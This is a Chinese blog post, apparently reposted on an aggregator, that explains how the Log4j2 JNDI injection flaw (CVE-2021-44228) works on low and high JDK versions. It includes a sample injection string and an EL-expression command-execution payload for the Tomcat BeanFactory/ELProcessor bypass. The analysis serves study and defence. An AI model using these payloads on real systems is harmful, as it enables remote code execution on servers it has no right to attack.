Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

这篇具有很好参考价值的文章主要介绍了Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

系列文章

2.15.0之前版漏洞相关文章

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理文章来源地址https://www.toymoban.com/news/detail-470688.html

2.15.0版漏洞相关文章

Log4j2中2.15.0版存在的漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)

2.16.0版漏洞相关文章

Log4j2中2.16.0版中DOS攻击(CVE-2021-45105)的漏洞原理、复现步骤和修复方法(2.17.0修复原理)

一、前言

通过前面的文章 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识我们简单介绍了下Log4j2漏洞解析中涉及到的一些基础知识和名词解释。本章我们一起来剖析该漏洞的原理。由于JDK不同的版本其漏洞原理不一样,因此我们将从JDK高低两个不同的版本分别进行剖析。

二、Log4j2漏洞原理

1、Java低版本原理(网上普遍攻击原理)

A、原理概述

Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

B、恶意代码编写

我们一直在提到恶意的Class文件,那么恶意类的Java代码是怎样的呢?写个main函数?(给大家10秒钟时间想想)

如果大家初步理解了上面的原理概述就知道,直接写main函数不行,因为整个过程中Java并没有执行Class文件中的任何方法,只是使用累加器加载和实例化了该类而已。所以我们需要让代码在实例化的就会被执行。因此我们这类采用了静态块。其代码如下:

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

该模拟攻击代码比较简单,只是在mac电脑上打开文件管理器。

C、攻击流程与原理

接下来咱们一起分析下具体原理,整个攻击原理和流程如下图所示。

PS:由于源码涉及比较多,所以本文不会详细讲解源码,只会大致梳理下关键调用链。其源码本身也比较简单,有兴趣的同学自己Debug跟一下,就能清楚的理解整个源码逻辑。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。

2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。

源码:org.apache.logging.slf4j.Log4jLogger.debug(...)/info(...)/error(...)等方法

            > org.apache.logging.log4j.core.config.LoggerConfig.log(...)

                  > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

源码:StrSubstitutor.substitute(...) --解析出${}中的内容:jndi:ldap://localhost:9999/Test

                > StrSubstitutor.resolveVariable(...) --处理解析出的内容,执行lookup

                > Interpolator.lookup(...) --根据jndi找到jndi的处理类

                        > JndiLookup.lookup(...)

                        > JndiManager.lookup(...)

                                > java.naming.InitialContext.lookup(...) --调用Java底层的Lookup方法

PS:后续步骤都是Java内部提供的Lookup能力,和Log4j2无关。

4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。

源码:LdapCtx.c_lookup(...) 请求并处理数据 (ldap中指定了javaCodeBase=)

                >Obj.decodeObject --解析到ldap结果,得到classFactoryLocation=http://localhost:8888

                > DirectoryManager.getObjectInstance(...) --请求Codebase得到对应类的结果

                        > NamingManager.getObjectFactoryFromReference(...) --请求Codebase

5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。

源码:VersionHelper12.loadClass(...) --请求Codebase得到Class并用类加载器加载

                > NamingManager.getObjectFactoryFromReference(...) 通过默认构造函数实例化类。

这里就会导致我们攻击代码中的静态块中的内容被执行。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

到此整个攻击原理就完成了。其实总体也很简单。归纳来看关键就如下几步:

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。

PS:留个问题,因为恶意Factory类会被加载和通过默认构造函数构造,那么我们是否可以通过在默认构造函数中执行恶意代码来实现攻击,而不是在static静态块中实现?

2、JDK高版本为何无效

A、哪些版本受影响

上述所有操作都需要JDK版本低于JDK 8u191才可以实现。而JDK8u191的版本在三年前就已经发布了。所有现在主流的服务器应该都基本是JDK高版本的。所以该攻击在主流版本上无法使用。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

参考:PSA: Log4Shell and the current state of JNDI injection – – Random ramblings, exploits and projects.

B、为何失效

那为什么该攻击在高版本无效呢?我们一起来看下。

其实是因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理 所以高版本的Java的请求逻辑如下。即无法请求Codebase,整个攻击因此失效。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

但是我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。接下来,我们就一起来讨论下高版本如何通过Ldap恶意服务器对服务器进行攻击。

C、手动修改trustURLCodebase实现攻击?

其实我们在模拟的时候完全可以通过System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");将其指定为true,这样我们就能够在高版本上执行攻击模拟。网上很多文章也确实是这样做的,但其基本没有解释这样做的原因。

如果是为了在高版本验证低版本的攻击步骤,那么这样做完全OK。但是对于分析Logj42漏洞原理来说,这样做就不太合适。因为分析的目的就是要知道高版本如何实现攻击。这样我们才能够找到具体的防护方法。

再者,如果你是攻击者,你该不会期望哪个服务器会主动把trustURLCodebase设置为true,等着你来攻击吧。

3、Java高版本原理

A、Lookup的基本功能

在开始分享高版本攻击原理前,我们需要先了解下Java底层Ldap的Lookup的基本功能。因为低版本攻击中,我们不太需要关注这一块,所以没有具体讲解。但高版本则需要依赖该功能达到攻击的目的。

当Java底层请求Ldap服务器后,Ldap主要返回了三个主要参数javaClassName、javaFactory、JavaFactoryLocaltion,以及一些额外参数。客户端获得这些参数之后主要做一件事情:构造需要的类实例。即客户端通过javaFactory类来构建实现我们需要的JavaClassName指定的实例。这个过程中需要注意如下几点:

1、javaFactory类需要是ObjectFactory的子类。

2、javaFactory有两个来源:来自Codebase(Ldap返回Codebase地址),或者来自本地(Ldap返回对应javaFactory的类地址)。

        对于来自Codebase的Factory:和低版本中的逻辑一样,我们需要请求Codebase获取其Class文件,然后加载该Factory类,并使用默认构造函数实例化出Factory实例。

        来自本地的Factory:则直接根据Ldap返回的路径(类限定符),通过Class.forName进行加载和实例化。

3、得到javaFactory实例后,我们需要构建通过javaFactory实例构建出JavaClassName指定的对象。

4、Log4j2通过javaFactory得到对应的对象之后,会调用其toString方法将其转换为字符串,然后用该字符串替换日志中的${...}内容,最后打印出来

源码:DirectoryManager.getObjectInstance

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

B、攻击者如何利用Ldap

1、JDK低版本如何利用Ldap实现攻击

通过上面低版本的原理分析可知,我们根据在Ldap构造了javaFactoryLocation指向Codebase,告诉客户端需要从远端Codebase去获取需要的javaFactory类。获取到之后,然后使其使用本地的类加载器加载远程恶意的javaFactory类的,然后其在加载的过程中执行恶意的static代码块,从而实现攻击。

2、JDK高版本如何利用Ldap实现攻击

我们知道高版本已经无法去Codebase获取javaFactory的Class文件,所以我们想通过让客户端加载和实例化我们恶意构建的javaFactory来实现攻击是不可能的了。

但是,我们还可以走本地javaFactory这条路。即让Ldap实例化一个本地存在的javaFacotry,并用该javaFactory实例化一个本地存在的类。因此我们需要找到本地哪些javaFactory存在一些可以被利用的漏洞。

C、JDK高版本的具体攻击原理

高版本攻击原理参考:Exploiting JNDI Injections in Java | Veracode blog

参考文章中提到了tomcat携带的org.apache.naming.factory.BeanFactory类就是一个存在风险的ObjectFactory子类。通过该Factory我们可以通过默认构造函数实例化任意一个类,并调用其任意的只有一个String入参的公共方法,且其方法名可以不用是标准setter的名称,而可以是任意名称。因为我们可以通过forceString来制定某个String变量的setter方法名称。(具体逻辑大家自己看下BeanFactory.getObjectInstance的源码即可)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

 基于此能力,我们就可利用javax.el.ELProcessor类,因为其有个eval方法,只有一个Stirng入参。其可以执行EL表达式,从而执行任意指令。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

比如我们让其执行如下EL表达式,就能够达到让其在mac下执行”open .“指令的功能。

\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','.']).start()\")

所以我们只需要Ldap服务器返回JavaFactory=org.apache.naming.factory.BeanFactory,javaClassName=javax.el.ELProcessor。同时传递参数x=上述恶意代码,forceString="x=eval"。

这样客户端拿到指令之后就会做如下操作:

1、直接在本地加载和实例化BeanFactory工厂,得到BeanFacory实例

2、BeanFactory工厂通过默认构造函数实例化javax.el.ELProcessor,得到ELProcessor实例

3、Ldap告诉BeanFactory,ELProcessor有一个string类型的变量x(实际没有),其内容为恶意代码块,且该变量的setter方法名为eval。

4、BeanFactory就会执行ELProcessor实例的eval方法,且入参为恶意代码块。

至此我们就达到执行让ELProcessor通过eval执行恶意代码的目的,从而实现远程攻击。

整个攻击流程如下:

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理 Log4j2漏洞的攻击原理就介绍到这里。接下来我们一起来实战下基于Log4j2漏洞如何实现对服务器的攻击。

PS:给大家留个小问题,上述基于ELProcessor的攻击方法,有什么限制呢?

五、惯例

如果你喜欢本文或觉得本文对你有所帮助,欢迎一键三连支持,非常感谢。

如果你对本文有任何疑问或者高见,欢迎添加公众号lifeofcoder共同交流探讨(添加公众号可以获得楼主最新博文推送以及”Java高级架构“上10G视频和图文资料哦)。

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

系列文章

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理

到了这里,关于Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

原文地址:https://blog.csdn.net/hilaryfrank/article/details/121939902

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(8)
  • Log4j2远程命令执行(CVE-2021-44228)

    2.0 = Apache Log4j2= 2.14.1 启动服务后,进入主页面,点击页面中的???链接,跳转到,目标地址。 首先使用dnslog进行测试,是否存在jndi注入的点,再ceyedns平台接收到了反馈的消息,发现此处存在jndi注入。 如果payload没有进行url编码,可能会导致后台无法解析,最好的方式就是

    2024年02月04日
    浏览(7)
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(16)
  • log4j2漏洞分析

    2024年02月09日
    浏览(14)
  • log4j2漏洞原理和漏洞环境搭建复现

    目录 1.背景 1.1影响版本 2.漏洞原理 2.1JNDI是什么 2.2LDAP是什么 2.3JNDI注入原因 2.4 log4j2是什么 3.漏洞复现 3.1准备工作 3.1.1准备恶意代码 3.1.2将恶意代码放到网站目录下 3.1.3 LDAP服务器端 3.1.4客户端搭建 3.1.5 执行代码  4.注意事项 部分资源在文章最后百度网盘 2021年11月24日,阿里

    2024年02月05日
    浏览(12)
  • Log4j2 反序列化漏洞与复现

    Log4j → Log for Java ,Apache的开源日志记录组件 JDK →1.8u21以下的版本 CVE-2021-44228 远程代码执行 →2.15.0修复 CVE-2021-45046 拒绝服务Dos →2.16.0修复 CVE-2021-45105 拒绝服务Dos →2.17.0修复 CVE-2021-44832 远程代码执行 →2.17.1修复 Log4j为了输出日志时能输出任意位置的Java对象,引入了Looku

    2024年02月05日
    浏览(11)
  • Java代码审计15之Apache log4j2漏洞

    2.1、高版本测试 先说结论,ldap协议, rmi协议 还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ” 2.2、测试代码 先引入组件, main.java jndiexp.java 2.3、补充之dns探测 2.3.1、rmi、ldap也可以dnslog探测 在使用dnslog探测漏洞的时候, 其实不仅仅dns协议可以,ldap和rmi协议也可以, 类似的rmi,

    2024年02月10日
    浏览(10)
  • log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    啥是log4j2? log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。 啥是JNDI? 由

    2024年02月06日
    浏览(17)
  • Log4j2的Configuration详解

    官方配置文档: https://logging.apache.org/log4j/2.x/manual/filters.html 根节点 Configuration 参数介绍: Attribute Name Description name The name of the configuration. monitorInterval Log4j has the ability to automatically detect changes to the configuration file and reconfigure itself。 即动态加载,单位是秒。可自定义配置,最小

    2023年04月09日
    浏览(6)
  • SpringBoot整合Log4j2日志框架

    SpringBoot底层默认使用logback日志框架。 切换使用Log4j2日志框架。 pom.xml配置 log4j2-spring.xml 文件命名固定 log4j2-spring.xml ,让SpringBoot加载配置文件。 文件名为 log4j2.xml ,文件将绕过SpringBoot直接调用日志框架。 控制台日志输出信息 日志文件生成 说明:日志文件生成在当前项目下

    2024年03月09日
    浏览(15)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包